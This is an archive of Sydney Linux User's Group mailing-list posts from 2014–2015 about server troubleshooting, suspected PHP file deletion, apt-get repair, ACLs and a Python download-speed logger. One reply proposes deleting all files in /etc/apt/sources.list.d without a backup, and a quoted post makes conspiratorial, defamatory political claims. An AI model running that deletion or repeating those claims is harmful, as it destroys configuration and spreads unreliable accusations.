Re: [SLUG] How to deal with Hacker Activity ?

2015-06-02 Thread David Lyon
Thanks Rachel,

The information you have provided is very helpful.

I will look into the things you have mentioned in detail. It's a good start.

On Tue, Jun 2, 2015 at 3:31 PM, gr0ve gr...@exemail.com.au wrote:

 You should be able to look in the mysql transaction log and line up any
 corresponding entries to timestamps and
 Also in the web/system log files as a very general response. Without more
 detail, it is still hard to say whether your problem is local or if someone
 is breaking the door down, but there will be a correlation
 between the events.



 rachel

 --
 rachel polanskis
 IT Consulting, UNIX  Macintosh
 Greater Western Sydney
 gr...@exemail.com.au

 On 2 Jun 2015, at 15:20, David Lyon david.lyon.preissh...@gmail.com
 wrote:

  If you think a malicious actor is deleting files, check also your
  database links for insertion attacks or other indications of
  attempted tampering.

 We are seeing MySQL table corruption as well in a 'Session' table.




 On Tue, Jun 2, 2015 at 3:01 PM, gr0ve gr...@exemail.com.au wrote:

 Hi David,
 Are you sure the .php files are being removed by a malicious actor?  Are
 there log entries or other traces that indicate an exposure to an exploit?
 To remove files from a system would leave traces of
 activity, even remotely and subsequent tampering to cover it up is
 usually clumsily executed and easily identified.
 It would depend also on your specific php version but you could install
 suhosin to log any out of band activity.  If you think a malicious actor is
 deleting files, check also your database links for insertion attacks or
 other indications of attempted tampering.  I suspect an in house error such
 as a bad day for someone, or a rogue cron job, perhaps, or if you are
 exposed to the ext4 corruption bug on Linux, look there.
 Without more information, I always assume a more local problem first, as
 opposed to intrusion etc.

 --
 rachel polanskis
 IT Consulting, UNIX  Macintosh
 Greater Western Sydney
 gr...@exemail.com.au

  On 2 Jun 2015, at 13:57, David Lyon david.lyon.preissh...@gmail.com
 wrote:
 
  Hello all,
 
  One place I do work for is having trouble with Hacker activity.
 
  Let's face it, there are hacker's out there trying to take down systems.
 
  The specific issue I'm seeing is .php files vanishing from the web
 server.
 
  This is annoying and I'm wondering if any others are seeing anything
 like
  this.
 
  I'm also wondering what specific steps can be taken to minimise hacking
  problems.
 
  We don't have a big budget, a counter-hacking team or anything like
 that.
 
  To me it looks like the ISP may have been hacked in a similar way as
  GoDaddy was hacked in the US.
 
  Regards
 
  David
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Re: [SLUG] How to deal with Hacker Activity ?

2015-06-02 Thread David Lyon
 If you think a malicious actor is deleting files, check also your
 database links for insertion attacks or other indications of
 attempted tampering.

We are seeing MySQL table corruption as well in a 'Session' table.




On Tue, Jun 2, 2015 at 3:01 PM, gr0ve gr...@exemail.com.au wrote:

 Hi David,
 Are you sure the .php files are being removed by a malicious actor?  Are
 there log entries or other traces that indicate an exposure to an exploit?
 To remove files from a system would leave traces of
 activity, even remotely and subsequent tampering to cover it up is usually
 clumsily executed and easily identified.
 It would depend also on your specific php version but you could install
 suhosin to log any out of band activity.  If you think a malicious actor is
 deleting files, check also your database links for insertion attacks or
 other indications of attempted tampering.  I suspect an in house error such
 as a bad day for someone, or a rogue cron job, perhaps, or if you are
 exposed to the ext4 corruption bug on Linux, look there.
 Without more information, I always assume a more local problem first, as
 opposed to intrusion etc.

 --
 rachel polanskis
 IT Consulting, UNIX  Macintosh
 Greater Western Sydney
 gr...@exemail.com.au

  On 2 Jun 2015, at 13:57, David Lyon david.lyon.preissh...@gmail.com
 wrote:
 
  Hello all,
 
  One place I do work for is having trouble with Hacker activity.
 
  Let's face it, there are hacker's out there trying to take down systems.
 
  The specific issue I'm seeing is .php files vanishing from the web
 server.
 
  This is annoying and I'm wondering if any others are seeing anything like
  this.
 
  I'm also wondering what specific steps can be taken to minimise hacking
  problems.
 
  We don't have a big budget, a counter-hacking team or anything like that.
 
  To me it looks like the ISP may have been hacked in a similar way as
  GoDaddy was hacked in the US.
 
  Regards
 
  David
  --
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  Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html

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[SLUG] How to deal with Hacker Activity ?

2015-06-01 Thread David Lyon
Hello all,

One place I do work for is having trouble with Hacker activity.

Let's face it, there are hacker's out there trying to take down systems.

The specific issue I'm seeing is .php files vanishing from the web server.

This is annoying and I'm wondering if any others are seeing anything like
this.

I'm also wondering what specific steps can be taken to minimise hacking
problems.

We don't have a big budget, a counter-hacking team or anything like that.

To me it looks like the ISP may have been hacked in a similar way as
GoDaddy was hacked in the US.

Regards

David
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Re: [SLUG] How to deal with Hacker Activity ?

2015-06-01 Thread David Lyon
Files are definitely being deleted.

Which log would I look in ?

It's a common Linux cpanel hosting plan.

On Tue, Jun 2, 2015 at 3:01 PM, gr0ve gr...@exemail.com.au wrote:

 Hi David,
 Are you sure the .php files are being removed by a malicious actor?  Are
 there log entries or other traces that indicate an exposure to an exploit?
 To remove files from a system would leave traces of
 activity, even remotely and subsequent tampering to cover it up is usually
 clumsily executed and easily identified.
 It would depend also on your specific php version but you could install
 suhosin to log any out of band activity.  If you think a malicious actor is
 deleting files, check also your database links for insertion attacks or
 other indications of attempted tampering.  I suspect an in house error such
 as a bad day for someone, or a rogue cron job, perhaps, or if you are
 exposed to the ext4 corruption bug on Linux, look there.
 Without more information, I always assume a more local problem first, as
 opposed to intrusion etc.

 --
 rachel polanskis
 IT Consulting, UNIX  Macintosh
 Greater Western Sydney
 gr...@exemail.com.au

  On 2 Jun 2015, at 13:57, David Lyon david.lyon.preissh...@gmail.com
 wrote:
 
  Hello all,
 
  One place I do work for is having trouble with Hacker activity.
 
  Let's face it, there are hacker's out there trying to take down systems.
 
  The specific issue I'm seeing is .php files vanishing from the web
 server.
 
  This is annoying and I'm wondering if any others are seeing anything like
  this.
 
  I'm also wondering what specific steps can be taken to minimise hacking
  problems.
 
  We don't have a big budget, a counter-hacking team or anything like that.
 
  To me it looks like the ISP may have been hacked in a similar way as
  GoDaddy was hacked in the US.
 
  Regards
 
  David
  --
  SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/
  Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html

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Re: [SLUG] Fixing broken apt-get on Zentyal (Ubuntu)

2015-02-10 Thread David Lyon
Ah see this is how it got like this.

Search how to fix   type all those commands in without understanding
any of it.. ok - doesn't work... move to the next web page... repeat..

Anyway, they don't want to pay for time to do a fresh install. It's almost
a management decision to allow a reboot.

Installing packages manually works, but no automatic download and install
anymore.

The problem was initially caused by a Zentyal specific library failing
(suricata). Not worth fixing.

Thanks .. :-)

On Wed, Feb 11, 2015 at 2:55 PM, Amos Shapira amos.shap...@gmail.com
wrote:

 I'd call these configuration files, and in any case something you don't
 want to just wipe out out right without a way to restore.

 Why do you propose to remove them anyway? apt-get complains about an
 internal error. Your original response is identical to
 http://askubuntu.com/a/337795, which someone reported to work for them
 without the rm -f.

 I'd say - try the sudo dpkg --configure -a by itself first.

 Back to the original question - google'ing the error comes up with threads
 which indicate post-upgrade troubles. Have you gone through a major upgrade
 recently?

 On 11 February 2015 at 14:21, scott redhowlingwol...@gmx.com wrote:

  On 02/10/2015 09:19 PM, Amos Shapira wrote:
   On 11 February 2015 at 11:39, scott redhowlingwol...@gmx.com wrote:
  
   On 02/10/2015 05:32 PM, David Lyon wrote:
   Hi,
  
   I have a working Zentyal server and everything is fine except that I
  need
   to deploy Python Imaging Library to it, and it doesn't work.
  
   apt-get is for some reason broken.
  
   I get the following error message with sudo apt-get install
   python2.7-dev
   or any command:
  
   E: Internal Error, No file name for libmount1
  
   Try this:
   sudo rm -f /etc/apt/sources.list.d/*
 then
   sudo dpkg --configure -a
  
  
   Ouch Don't!
  
   These are configuration files. If you want to clear this directory then
   copy these files to another location and remove them from this
 directory.
  
  The sources.list.d directory is almost always PPA's the user has added.
  There are no configuration files in there.
  
   Scott
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   Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
  
  
  
  
 
 


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[SLUG] Fixing broken apt-get on Zentyal (Ubuntu)

2015-02-10 Thread David Lyon
Hi,

I have a working Zentyal server and everything is fine except that I need
to deploy Python Imaging Library to it, and it doesn't work.

apt-get is for some reason broken.

I get the following error message with sudo apt-get install python2.7-dev
or any command:

E: Internal Error, No file name for libmount1
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[SLUG] How to filter audo on Linux for pumping to RGB-LED strips?

2014-11-21 Thread David Lyon
Hi,

There's some RGB LED's at a Hackerspace:

 - http://forum.makehackvoid.com/t/led-uplighting-status/179

I asked a geek I know how to filter sound from linux to drive different
colours in the LED's.

He said That's easy - just use the following command:

 pamon --latency 100 | hexdump -C

The command 'works'. I've no idea what it's doing.

Driving the rgb-led's is easy, just need an rgb# to send.

Help !! How do I extract the numbers that I want ?
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Re: [SLUG] Weird traceroute problem.

2014-10-28 Thread David Lyon
I've just seen a possibly similar thing.

The scenario was that the customer didn't pay their bill. Not sure - but
most likely cause was the bill accidentally went into spam.

After paying, the hosting company assured us everything would be up.

Website was up but mail was down. It looked like a DNS issue.

After a few days of frustration with email not working again, I rang them
and showed them the ping results. It turned out that they had firewalled
the servers for email and had to go through a manual process to correct the
issue.

So in the end, a phone call to the hosting company was needed.

On Wed, Oct 29, 2014 at 7:54 AM, Ben donoh...@icafe.com.au wrote:

 Hi all,

 last week one of my clients businesses (hosted) email stopped working and
 they also could not get to their own website on the same address.

 Plugging in a phone as an access point the email started working as well
 as the website working fine. Also from other remote locations (like my
 house) email and website show up as normal.

 Nothing changed on their network that I know of. I'm the only tech they
 use and they don't have the knowledge to change anything.

 traceroute resolves their hosted email/web server address correctly, but
 after 30 tries of trying to get there gives up. Bypass firewall and same
 thing happens. Traceroute from the router resolves the correct IP but
 traceroute seems to go off into the wild blue younder and does not get to
 the destination IP.

 Went over the Cisco router with a fine tooth comb and nothing changed. All
 looks good.

 Hosts file on all the workstations is blank so nothing there... even
 though from the router traceroute resolves but goes nowhere.

 I'm stumped! DNS resolves correctly, yet they cannot get to the IP address.

 Could it be the website hacked and denying access from the clients
 address? (just thought of it so will look into that)

 Any ideas appreciated.

 Thanks,
 Ben



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Re: [SLUG] Debugging Linux ACL's

2014-09-01 Thread David Lyon
I think I got it going from this page:

http://stackoverflow.com/questions/580584/setting-default-permissions-for-newly-created-files-and-sub-directories-under-a

Thanks for the answers



On Mon, Sep 1, 2014 at 4:51 PM, Norman Gaywood ngayw...@une.edu.au wrote:

 On 1 September 2014 16:48, Norman Gaywood ngayw...@une.edu.au wrote:
  Is there anything in /etc/samba/smb.conf that might help?

 Also grep'ing through the logs in

 /var/log/samba/

 might have a log of the connecting computer that uses the share.


 --
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 University of New England, Armidale,
 NSW 2351, Australia

 ngayw...@une.edu.auPhone: +61 (0)2 6773 2412
 http://mcs.une.edu.au/~normFax:   +61 (0)2 6773 3312

 Please avoid sending me Word or Power Point attachments.
 See http://www.gnu.org/philosophy/no-word-attachments.html
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[SLUG] Debugging Linux ACL's

2014-08-31 Thread David Lyon
Hello,

I have this, from executing the following command:

/home/samba/shares/ivm_dbase/DBASE4

# file: home/samba/shares/ivm_dbase/DBASE4
# owner: root
# group: Administrators
user::rwx
user:root:rwx
user:admin_acct:rw-
user:300:rwx
user:302:rwx
group::rwx
group:Administrators:rwx
group:302:rwx
group:Staff:rwx
group:MYOB:rwx
mask::rwx
other::---
default:user::rwx
default:user:root:rwx
default:user:300:rwx
default:user:302:rwx
default:group::---
default:group:Administrators:rwx
default:group:302:rwx
default:group:Staff:rwx
default:group:MYOB:rwx
default:mask::rwx
default:other::---

My question is how do I find out who user:300 and user:302 is?
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Re: [SLUG] Debugging Linux ACL's

2014-08-31 Thread David Lyon
That returns nothing.


On Mon, Sep 1, 2014 at 3:49 PM, Norman Gaywood ngayw...@une.edu.au wrote:

 How about:

 getent passwd 300


 On 1 September 2014 15:44, David Lyon david.lyon.preissh...@gmail.com
 wrote:
  Hello,
 
  I have this, from executing the following command:
 
  /home/samba/shares/ivm_dbase/DBASE4
 
  # file: home/samba/shares/ivm_dbase/DBASE4
  # owner: root
  # group: Administrators
  user::rwx
  user:root:rwx
  user:admin_acct:rw-
  user:300:rwx
  user:302:rwx
  group::rwx
  group:Administrators:rwx
  group:302:rwx
  group:Staff:rwx
  group:MYOB:rwx
  mask::rwx
  other::---
  default:user::rwx
  default:user:root:rwx
  default:user:300:rwx
  default:user:302:rwx
  default:group::---
  default:group:Administrators:rwx
  default:group:302:rwx
  default:group:Staff:rwx
  default:group:MYOB:rwx
  default:mask::rwx
  default:other::---
 
  My question is how do I find out who user:300 and user:302 is?
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 --
 Norman Gaywood, Computer Systems Officer
 University of New England, Armidale,
 NSW 2351, Australia

 ngayw...@une.edu.auPhone: +61 (0)2 6773 2412
 http://mcs.une.edu.au/~normFax:   +61 (0)2 6773 3312

 Please avoid sending me Word or Power Point attachments.
 See http://www.gnu.org/philosophy/no-word-attachments.html

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Re: [SLUG] A call to arms!

2014-07-20 Thread David Lyon
Hi Patrick,

There's really not that much difference between this government and the
last one with respect to any technology development policies. If you think
there is a big difference, then I welcome you to explain the differences.

If you want to say what you think the policies should be that will bring
back a knowledge of science and finance, then hey, do comment on that.

Last time I was overseas, I didn't have any great problems. Nobody
complained to me - but hey - it's a big world.



On Sun, Jul 20, 2014 at 5:46 PM, Patrick Shirkey pshir...@boosthardware.com
 wrote:


 On Sat, July 19, 2014 10:15 pm, Jiří Baum wrote:
  Hi,
 
  This months SLUG meeting is fast approaching and we don't have any talks
  lined up.
 
  So this is a call to arms . . .
 
  If anybody has a subject to talk about please SMS or call me (Robert on
  0468 306 239) or Jiri (0413 183 117) or email the slug mailing list
  (slug@slug.org.au)
 
  Even if all you have is an idea of what you want to hear about post it
  anyway and maybe it will prompt someone to talk about the subject.
 
 

 How about Australia, Laughing Stock of the World.  Someone could do a
 reenactment of Phony Tony and his gang of Cronies pretending to understand
 basic science and finances.

 Maybe the whole group could put together the pieces on the false flag
 attack of the MH17 to see where the puzzle fits together...

 Or you could skip to the point and run a mock trial of Tony Abbott the
 war criminal. His sentence could be condemned to live until all his
 childrens, grand children die of C02 and Methane poisoning and North
 Sydney is sucked into the rising sea.

 - If that's all too much how about a presentation on Hybrid Graphics
 laptops and how to get them to work properly with Bumblebee.



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Re: [SLUG] Getting the correct time on Raspberry-Pi

2014-07-17 Thread David Lyon
It's Raspbian for the distro on the Raspberry-Pi

The problem is that supervisor is a python Distro package and it's wired
really deeply into the bowels of the system. It's initialisation takes
place way before any of the shell or rc.local startup.

I sorted it out in the end, the command needed was dpkg-reconfigure
tzdata and that did something internally that made it work.


On Fri, Jul 18, 2014 at 12:09 AM, Michael Chesterton 
che...@chesterton.id.au wrote:

 On 17/07/14 17:32, Amos Shapira wrote:
  Which distribution is it? The method to set system timezone depends on
 the
  answer to this question.
 
  And BTW - what you are asking about is setting the time ZONE. Setting the
  correct time is usually a matter left to NTP.
 
 
 
  On 17 July 2014 10:51, David Lyon david.lyon.preissh...@gmail.com
 wrote:
 
  I'm trying to get the correct datestamp in a logfile for Raspberry-Pi
 for a
  server task.
 
  The task runs under supervisord with root permissions.
 
  I modified /root/.profile and added TZ='Australia/Sydney'; export TZ
 
  However, in Python, the logging/task doesn't see dates with the correct
  timezone delta added.
 
  How can I get this to work?

 /root/.profile is only going to be read for root login shells, like sudo
 -i or su -
 you can set environment variables in supervisord config which will just
 affect
 the supervised program, or set it system wide which amos is going tell
 you how

 you'll have to check the docs, but I believe in your [program:x] section
 you add
 environment=TZ=Australia/Sydney
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[SLUG] Getting the correct time on Raspberry-Pi

2014-07-16 Thread David Lyon
I'm trying to get the correct datestamp in a logfile for Raspberry-Pi for a
server task.

The task runs under supervisord with root permissions.

I modified /root/.profile and added TZ='Australia/Sydney'; export TZ

However, in Python, the logging/task doesn't see dates with the correct
timezone delta added.

How can I get this to work?
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Re: [SLUG] MySQL maintenance

2014-06-27 Thread David Lyon
Possible hardware (Hard-disk) failure?

While mysql will probably run forevever, the same assumption can't be made
for the magnets in the hard-disks. Which can over time lose their
workingness.




On Sat, Jun 28, 2014 at 10:54 AM, li...@sbt.net.au wrote:


  on the new vm, in use about 6 month, couple of weeks ago joomla cms went
 
  yesterday noticed cacti not working / failed few weeks ago (perhaps at
  similar time to joomla, need to check that), again, traced to corrupt
  MySQL table

 fwiw, joomla failure was noticed 2nd June, cacti stopped around 31st May,
 so it's possible it was same time ?

 jtablesession::Store Failed DB function failed with error number 145
 Table './dom.tld/jos_session' is marked as crashed and should be
 repaired SQL=INSERT INTO `jos_session` (
 `session_id`,`time`,`username`,`gid`,`guest`,`client_id` ) VALUES (
 '20o43hn493po7fhv2jp7pji2e2','1401675661','','0','1','0' ) Fatal error:
 Allowed memory size of 268435456 bytes exhausted (tried to allocate 72
 bytes) in /dom.tld/public_html/libraries/joomla/error/exception.php
 on line 117


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Re: [SLUG] t/s old hardware failure

2014-06-07 Thread David Lyon
I've noticed quite a drop-off in Council-Cleanup PC's, around here anyway.

Not say don't live-in-hope in finding a new friend, just that the days of
all the PC's spending time together on the nature strip breathing the fresh
air seems to have passed. It's a new generation being thrown out now. :-)

Also, ebay and some other sites have some great specials for dual/quad core
PC's that aren't the latest tech and the machines go for $60 or so just
because they have windows-vista or something like that on them. That's what
I use (and reinstall of course).

Like for example this:
www.ebay.com.au/itm/Hewlett-Packard-Compaq-dc7100-PN287AW-ABA-PC-Desktop-/121356833521



On Sun, Jun 8, 2014 at 9:52 AM, li...@sbt.net.au wrote:

 On Sat, June 7, 2014 7:58 pm, Amos Shapira wrote:
  I'd suspect environmental issues like temp, power brown/black out, dust
  accumulation. Lacking any more specifics I'd grep the logs for errors,
 but
  don't have much hope.

 Amos, thanks

 fwiw, to be more precise, first couple of reboots stopped after PCI
 device/IRQ list;

 I then told BIOS to update the ESCD setting, now got PCI listing followed
 by Updating ESCD...Success, but, still not going further

 couldn't see anything 'bad' in BIOS so finally tried 'fail safe', and,
 voila, boot OK

 then, set back to 'optimal', boots perfect

 (and, to add insult to injury, looking at cacti charts (which is what this
 machine is meant to be) I realized cacti hasn't charted any data for
 nearly 12 month... (pings to local devices, and the like))

  I have an old (ancient?) P4 with 30mb+40mb IDE HDs, it's just used as a

 must wait for next council cleanup so can pick up something more modern, I
 think



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Re: [SLUG] t/s old hardware failure

2014-06-07 Thread David Lyon
And you might follow these old-timers:
www.ebay.com.au/itm/Bulk-Lot-of-9-Windows-Desktop-PC-Workstations-HP-Compaq-Dell-Intel-AMD-/231246144371



On Sun, Jun 8, 2014 at 11:00 AM, David Lyon david.lyon.preissh...@gmail.com
 wrote:

 I've noticed quite a drop-off in Council-Cleanup PC's, around here anyway.

 Not say don't live-in-hope in finding a new friend, just that the days of
 all the PC's spending time together on the nature strip breathing the fresh
 air seems to have passed. It's a new generation being thrown out now. :-)

 Also, ebay and some other sites have some great specials for dual/quad
 core PC's that aren't the latest tech and the machines go for $60 or so
 just because they have windows-vista or something like that on them. That's
 what I use (and reinstall of course).

 Like for example this:
 www.ebay.com.au/itm/Hewlett-Packard-Compaq-dc7100-PN287AW-ABA-PC-Desktop-/121356833521



 On Sun, Jun 8, 2014 at 9:52 AM, li...@sbt.net.au wrote:

 On Sat, June 7, 2014 7:58 pm, Amos Shapira wrote:
  I'd suspect environmental issues like temp, power brown/black out, dust
  accumulation. Lacking any more specifics I'd grep the logs for errors,
 but
  don't have much hope.

 Amos, thanks

 fwiw, to be more precise, first couple of reboots stopped after PCI
 device/IRQ list;

 I then told BIOS to update the ESCD setting, now got PCI listing followed
 by Updating ESCD...Success, but, still not going further

 couldn't see anything 'bad' in BIOS so finally tried 'fail safe', and,
 voila, boot OK

 then, set back to 'optimal', boots perfect

 (and, to add insult to injury, looking at cacti charts (which is what this
 machine is meant to be) I realized cacti hasn't charted any data for
 nearly 12 month... (pings to local devices, and the like))

  I have an old (ancient?) P4 with 30mb+40mb IDE HDs, it's just used as a

 must wait for next council cleanup so can pick up something more modern, I
 think



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[SLUG] Light Linux Permissions help for constantly running processes and Samba Share access

2014-05-26 Thread David Lyon
Hi,

I'm struggling getting some production programs to run on a new Linux
system.

These programs have been working for so many years and it seems that I've
forgotten how to set them up. Maybe it's different on this server-distro.
Not sure. It's Zentyal - ubuntu based.

village@server-ivm:~$ uname -a
Linux server-ivm 3.8.0-39-generic #58~precise1-Ubuntu SMP Fri May 2
21:33:17 UTC 2014 i686 i686 i386 GNU/Linux

There are some python programs that auto-run and always run:

 village@server-ivm:~$ ls -la servertasks
total 100
drwxrwxr-x  2 village village  4096 May 23 12:00 .
drwxr-xr-x 28 village village  4096 May 23 12:05 ..
-rwxrw-r--  1 village village  6207 May 23 12:00 directory_scantxttopdf.py
-rwxrw-r--  1 village village   569 May 23 11:28 runforever_pdfconvertor.py
-rwxrw-r--  1 village village  2826 May 23 11:26 scannerfilecleaner.py
-rwxrw-r--  1 village village 39822 May 23 11:28 spooler.py

The programs that need to be accessed are in /home/samba/shares/ivm_dbase:

village@server-ivm:~$ ls /home/samba/shares/ivm_dbase
ls: cannot access /home/samba/shares/ivm_dbase: Permission denied

Yes, I can sudo ls and that will work. But I don't want to. That just
makes all the files root and no other users can read/write them.

I really want the programs to access the data in the samba shares.

village@server-ivm:~$ sudo ls -la /home/samba/shares
total 16
drwxrwx---+  3 root  __USERS__ 4096 Apr 23 13:53 .
drwxrwx---+  4 root  __USERS__ 4096 Apr 23 13:47 ..
drwxrws---+ 21 dlyon __USERS__ 4096 May 23 15:20 ivm_dbase

What's a good way to set this up?


Regards

David
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Re: [SLUG] Download speed

2014-05-22 Thread David Lyon
ok, I patched those links in. Forgive my code posting, last time. I will
answer offlist if I get any further requests.

It has some command line options to specify the size to download, where to
put the logfile, and the duration to wait before downloads.

$ python x_download_test.py 1M -i 5

-Python-

# /usr/bin/python

import time, optparse, urllib2, csv


if __name__ == __main__:

dlurls = {1M   : http://mirror.internode.on.net/pub/test/1meg.test;,
  10M  : http://mirror.internode.on.net/pub/test/10meg.test;,
  50M  : http://mirror.internode.on.net/pub/test/50meg.test;,
  100M : http://mirror.internode.on.net/pub/test/100meg.test
,
  1G   : http://mirror.internode.on.net/pub/test/1000meg.test
,
  5G   : http://mirror.internode.on.net/pub/test/5000meg.test

 }

print(Network Download speed logger. Freeware Licence)

usage = usage: %prog [options] arg1 arg2
parser = optparse.OptionParser(usage=usage)
parser.add_option(-i, --interval, action=store, type=float,
dest=interval, default=10, help=Interval in minutes between downloads)
parser.add_option(-l, --logfile, action=store,
dest=logfilename, default=download_times.csv, help=Interval in minutes
between downloads)

(options, args) = parser.parse_args()

download_size = 10M
if len(args)  0:
download_size = args[0]

download_interval = options.interval * 60
download_url = dlurls[download_size]

# setup a logfile
f = open(options.logfilename, 'a')
writer = csv.writer(f)

while (1):

print(Downloading %s % download_size)

# Initial Time reading
start = time.clock()

mp3file = urllib2.urlopen(download_url)
mp3file.read()

elapsed = time.clock() - start

writer.writerow([time.strftime(%c),download_size,elapsed,])

print(Pausing for %f minute(s) % int(download_interval/60))

time.sleep(download_interval) # Time in seconds.



On Thu, May 22, 2014 at 1:40 PM, Rick Welykochy r...@vitendo.ca wrote:

 David wrote:

 On 22/05/14 08:38, Rick Welykochy wrote:

 Edwin Humphries (text) wrote:

 Can anyone suggest a way of testing the download speed of my NBN fibre
 connection every hour and logging it? I have an ostensibly 100Mbps
 connection, but the speed seems to vary enormously, so an automated process
 would be good.


 Download a file of known length, say 1000 MB, from a server
 whose speed you can trust every hour. Time and log each download.
 Also verify the contents of the downloaded file with an md5 or sha
 digest.

 This can be automated with an scp inside a simple (shell) script.


 Westnet used to have a file available for exactly this purpose - I dare
 say other ISP's do too. Perhaps you could ask your own ISP.

 This looks promising:

 http://mirror.internode.on.net/pub/test/

 I found this via a web search for test download file residing on an isp
 australia.


 cheers
 rickw


 --
 
 Rick Welykochy || Vitendo Consulting

 If consumers even know there's a DRM, what it is, and how it works, we've
 already failed.
 -- Peter Lee, Disney Executive


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Re: [SLUG] Internet at 500m

2014-05-22 Thread David Lyon
Have they seen products like this?
http://www.aliexpress.com/item/150Mbps-high-power-outdoor-wi-fi-wireless-outdoor-wireless-access-point-cpe-equipment/1489776809.html



On Fri, May 23, 2014 at 2:57 AM, Rick Welykochy r...@vitendo.ca wrote:

 Hi Sluggers,

 I have a friend living in near jungle conditions in a small town
 in the Philipines that wishes to span about 400m - 500m from
 an Internet connection to his house in the bush.

 Ethernet seems limited to 100m.
 Wifi seems limited to about 100m - 200m.
 Any suggestions for bridging this gap?

 thanks,
 rickw


 --
 
 Rick Welykochy || Vitendo Consulting

 If consumers even know there's a DRM, what it is, and how it works, we've
 already failed.
 -- Peter Lee, Disney Executive


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Re: [SLUG] Download speed

2014-05-21 Thread David Lyon
Maybe something like this (python code):

# /usr/bin/python

import time
import urllib2

if __name__ == __main__:

while (1):

# Initial Time reading
start = time.clock()

mp3file = urllib2.urlopen(http://www.slug.org.au/event/91;)
output = open('test.mp3','wb')
output.write(mp3file.read())
output.close()

print time.clock() - start

time.sleep(3600) # Time in seconds.




On Thu, May 22, 2014 at 9:34 AM, David da...@kenpro.com.au wrote:

 On 22/05/14 08:38, Rick Welykochy wrote:

 Edwin Humphries (text) wrote:

 Can anyone suggest a way of testing the download speed of my NBN fibre
 connection every hour and logging it? I have an ostensibly 100Mbps
 connection, but the speed seems to vary enormously, so an automated process
 would be good.


 Download a file of known length, say 1000 MB, from a server
 whose speed you can trust every hour. Time and log each download.
 Also verify the contents of the downloaded file with an md5 or sha
 digest.

 This can be automated with an scp inside a simple (shell) script.


 Westnet used to have a file available for exactly this purpose - I dare
 say other ISP's do too. Perhaps you could ask your own ISP.






 cheers
 rickw



 --
 David McQuire
 0418 310312


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Re: [SLUG] WiFi problem.

2014-05-21 Thread David Lyon
First thing to check is that the Wifi button is set to on.

Sometimes it's very easy to accidently bump them to off without even
realising.


On Thu, May 22, 2014 at 2:18 PM, William Bennett wrbennet...@gmail.comwrote:

 I'm sure someone has seen this before: there doesn't seem to be a problem
 posted that nobody knows.


  I have a Toshiba Satellite A660, running Ubuntu 14.04


  In the past, I've been able to :--


  1. tether my smartphone to the laptop

 2. go to a coffeeshop that has a WiFi and pick it up with the laptop.


  Now I can't.


  I can click on the “fan” and whilst it will open, nothing WiFi registers.
 Not evne when the smartphone swears it's emulating a portable hotspot.


  Took the laptop to the local computer shop. Was asked whether I'd had
 Windows on the laptop in the past. Answer yes. Well, since the switch is a
 Window switch, it might be a vagrant piece of Window leftover that turned
 it off.


  This sounds like Olde Stuffe.


  Nevertheless, I can't pick up any WiFi. And Fn-F8 doesn't turn on
 anything.


  I'm reluctant to believe this is a Toshiba peculiarity (as I've also been
 told). I've had it working with earlier versions of Ubuntu.


  Any suggestions will be gratefully acted upon.


  William Bennett.
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[SLUG] Compilation issues with a C++ Internet-of-Things Event-Framework

2014-04-25 Thread David Lyon
Hi,

I'm having some problems with compile errors.

I have an Event-Framework and the programs look like this:

 -
https://github.com/clixx-io/clixx.io/blob/master/examples_eventframework/timer.cpp

When I compile, I get these errors:

dlyon@dlyon-HP8000SFF:~/IoT/madstuff$ make
  CC  madstuff.o
madstuff.cpp: In member function ‘void App::setup()’:
madstuff.cpp:33:45: warning: converting from ‘void (App::*)()’ to ‘void
(*)()’ [-Wpmf-conversions]
 addTimerEvent(2, (void (*)()) App::timerevent);


I know they are only warnings, but I'm doing a talk in Japan in a few weeks
and no warnings/complaints would be nicer. The IoT Event-System is working.
Code is here:
https://github.com/clixx-io/clixx.io/tree/master/eventframework

Thanks

Regards

David
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Re: [SLUG] Compilation issues with a C++ Internet-of-Things Event-Framework

2014-04-25 Thread David Lyon
Using callbacks is surely the easiest way of handling timer events I would
have thought.

In C this never was a problem but for some reason it's become more
difficult to do than before in c++.

I don't exactly see why it would be terrible to abstract a lot of hardware
functions but the challenge is getting them from the C style operating
system type notations into higher level C++ with object orientation.

The other alternative is to have hundreds/thousands of lines of code with
multiple entry points (interrupts/signals) which can equally be terrible to
debug.

On 26/04/2014 11:17 am, Jiří Baum j...@baum.com.au wrote:

 Hi,

 David Lyon:
  When I compile, I get these errors:

  dlyon@dlyon-HP8000SFF:~/IoT/madstuff$ make
CC  madstuff.o
  madstuff.cpp: In member function ‘void App::setup()’:
  madstuff.cpp:33:45: warning: converting from ‘void (App::*)()’ to ‘void
  (*)()’ [-Wpmf-conversions]
   addTimerEvent(2, (void (*)()) App::timerevent);

 A quick Google suggests that converting a pointer to a bound method to a
 function pointer is a terrible, non-standard thing to do... They're
 about evenly split between suggesting you don't do that, and suggesting
 you use -Wno-pmf-conversions to suppress the warning.

 The thing is, a pointer to a bound method needs to contain not just the
 function pointer but also information about the this pointer and about
 the virtual table; converting it to a plain pointer throws all that
 information away. Only gcc will even let you do that (and still call the
 function afterwards).

 So, if there's an easy way to avoid it, don't do that. Otherwise, if
 you're happy with being gcc-specific, you can suppress the warning.


 Cheers

 Jiri
 --
 Jiří Baum j...@baum.com.au
 Sabik Software Solutions Pty Ltd
 0413 183 117
 http://www.baum.com.au/sabik
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[SLUG] LinuxCon Japan 2014

2014-03-30 Thread David Lyon
Just thought I'd mention that LinuxCon 2014 in Japan is coming up.

http://events.linuxfoundation.org/events/linuxcon-japan

Although it's only for two days, that would leave the rest of the time for
a few trips to Akihabara and some extra Tokyo tourism if you took the whole
week off work.

There's heaps of stuff going on there, that is very different than our very
good LinuxConf.

If there's any interest in attenting post back here.
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Re: [SLUG] Reuse or Recycle Your Old Computer

2014-02-06 Thread David Lyon
Hi Tom,

Have you seen these ? : http://www.adapteva.com/


On Thu, Feb 6, 2014 at 8:29 AM, Tom Worthington tom.worthing...@tomw.net.au
 wrote:

 On 04/02/14 16:42, Glen Turner wrote:

  I'd also be careful when comparing old v new computers that you
 include the entire system, especially if moving from a CRT to LCD
 screen. ...


 Are there many CRTs still in use? The computer recycling bins in Canberra
 were full of old LCD screens last year: http://blog.tomw.net.au/2013/
 02/e-waste-collection-working-in-canberra.html

 But when I had a look more recently there seemed to be mostly LCDs. New
 LCD displays are more energy efficient than old ones, but the savings are
 much less than moving from a CRT.

 One problem with the official recycling scheme in Canberra and some other
 locations, is that there is no one looking to see what could be reused:
